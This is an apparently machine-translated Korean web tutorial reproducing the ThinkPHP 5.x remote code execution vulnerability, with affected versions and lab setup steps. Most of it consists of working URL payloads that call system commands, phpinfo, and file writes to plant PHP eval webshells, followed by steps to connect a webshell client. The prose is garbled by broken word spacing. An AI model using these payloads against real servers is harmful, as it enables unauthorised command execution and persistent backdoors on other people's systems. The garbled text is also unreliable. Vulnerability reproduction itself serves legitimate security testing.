ThinkPHP 5.x 원 격 명령 실행 빈틈 복원

구멍 설명
2018 년 12 월 10 일 에 ThinkpHP 는 공식 적 으로 안전 업 데 이 트 를 발 표 했 는데 그 중에서 ThinkpHP 5 프레임 워 크 의 고위 험 구멍 을 복원 했다.
https://blog.thinkphp.cn/869075  
구멍 의 원인 은 프레임 워 크 가 컨트롤 러 이름 에 대해 충분 한 검 사 를 하지 않 았 기 때문에 강제 경로(기본 열 리 지 않 음)를 열지 않 은 상태 에서 원 격 코드 가 실 행 될 수 있 고 영향 을 받 은 버 전 은 5.0 과 5.1 을 포함한다.
2.구멍 영향 버 전
Thinkphp 5.x-Thinkphp 5.1.31
Thinkphp 5.0.x<=5.0.23
3.구멍 재현
1,홈 페이지 다운로드 Thinkphp 5.0.22,다운로드 주소:http://www.thinkphp.cn/donate/download/id/1260.html
2.phpstudy 를 사용 하여 환경 을 구축 하고 다운 로드 된 Thinkpphp 5.0.22 를 웹 사이트 디 렉 터 리 에서 브 라 우 저 로 방문 합 니 다.http://192.168.10.171/thinkphp5.0.22/public
   
3.system 함수 로 원 격 명령 실행
Payload 는 다음 과 같 습 니 다:

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
  
4.phopinfo 함 수 를 통 해 phopinfo()의 정 보 를 볼 수 있 습 니 다.
Payload 는 다음 과 같 습 니 다:

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
  
5.셸 에 쓰기
Payload 는 다음 과 같 습 니 다:

?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<?php @eval($_POST[cmd]);?^> >shell.php
메모:특수 문자 에 대해^전의(cmd 환경 에서 전의 방식)를 사용 해 야 합 니 다.windows 환경의 echo 명령 출력 문자열 은 문서 에 따옴표(작은 따옴표,작은 따옴표)를 사용 하지 않 고 일부 문자 url 인 코딩 은 인 코딩 하지 않 아 도 됩 니 다.
  
6.셸 에 성공 적 으로 기 록 했 는 지 확인
  
7.식칼 연결
  
8.두 번 째 셸 을 쓰 는 방법
Payload 는 다음 과 같 습 니 다:

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=<?php @eval($_POST[test]);?>
  
9.파일 에 성공 적 으로 기 록 했 는 지 확인
  
10.식칼 연결
  
총결산
위 에서 말씀 드 린 것 은 편집장 님 께 서 소개 해 주신 ThinkPHP 5.x 원 격 명령 수행 의 허점 이 복 원 된 것 입 니 다.여러분 께 도움 이 되 셨 으 면 좋 겠 습 니 다.궁금 한 점 이 있 으 시 면 메 시 지 를 남 겨 주세요.편집장 님 께 서 바로 답 해 드 리 겠 습 니 다.여기 서도 저희 사이트 에 대한 여러분 의 지지 에 감 사 드 립 니 다!
만약 당신 이 본문 이 당신 에 게 도움 이 된다 고 생각한다 면,전 재 를 환영 합 니 다.번 거 로 우 시 겠 지만 출처 를 밝 혀 주 십시오.감사합니다!

좋은 웹페이지 즐겨찾기